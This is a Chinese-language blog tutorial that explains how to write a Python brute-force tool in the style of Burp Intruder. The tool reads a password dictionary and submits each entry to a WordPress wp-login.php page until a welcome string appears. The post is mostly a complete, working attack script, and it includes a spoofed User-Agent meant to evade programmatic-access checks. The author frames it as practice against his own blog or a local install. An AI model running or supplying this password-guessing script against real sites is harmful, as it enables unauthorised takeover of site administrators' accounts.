前言

BurpSuite大家应该都用过吧,里面有个Inteuder模块,是用来爆破网站后台密码的,那么这个模块是如何实现的呢?接下来这篇文章就教你写属于自己的Intruder工具

处理流程

简析流程

  1. 首先,我们确定自己的目的是什么,爆破出一个网站后台的登陆密码。
  2. 然后我们要分析后台的登陆流程,是否有验证码,是否有隐藏参数传递等
  3. 这里的后台是我的博客,基于wordpress,一般默认无验证码,只需要输入post的账号和密码就好
  4. 然后我们就构造post参数,从一个本地的pwd.txt(字典文件)读取密码,不断的加入到post的密码参数里面,试图去登陆
  5. 登陆成功后302自动跳转到我们的后台页面

  1. 这时我们可以用登陆成功后页面内容来判断,也可用其他,没成功就说明字典不给力,或者管理者密码比较强大

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding: utf-8 -*-
'''
Program:WordPress后台登陆
Function:读取字典逐个登陆Wordpress后台,在知道用户名的情况下,可用来爆破登陆密码

Version:Python3.6
Time:2017/10/25
Author:Walks
个人博客:http://www.bywalks.com
'''
#导入requests库,跟2.x的urllib2和3.x的urllib.request差不多的功能,不过好像更强大
import requests

#登陆后台
url = 'http://www.bywalks.com/wp-login.php'

#HTTP的header头,添加个user-agent,有的网站会从User-Agent来判断是否是程序访问
#如果是程序访问则不允许,添加个user-agent就是欺骗这种防护
#在这里的后台wordpress好像不用加
headers = {'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
#访问也米欧庵后,保留cookie
s = requests.Session()
#加个headers
s.headers.update(headers)
#防止报错代码
try:
#打开pwd.txt
with open('pwd.txt','r') as f:
#逐行访问并且尝试
for pwd in f:
#去除每行的\n,当你读取一行时,如果用二进制显示,会发现每行都有个\n
pwd = pwd.replace('\n','')
#print(pwd)
#构造post数据,log=username,pwd=password
data = {
"log":"XXX",
"pwd":pwd,
"rememberme":"forever"
}
#尝试登陆
req = s.post(url,data = data)
print(req.status_code)
#通过某些特征判断是否登陆成功
if '欢迎使用WordPress' in req.text:
print('爆破成功,密码为:'+pwd)
break
#如果出错,输出具体错误
except requests.RequestException as e:
print(e)

成功图

大家如果想找环境测试的话可以本地搭建个wordpress,这里我测试的是我的博客后台,我加了验证码,所以大家弄我的肯定是没用的。
下篇的话给大家写个带验证码识别流程的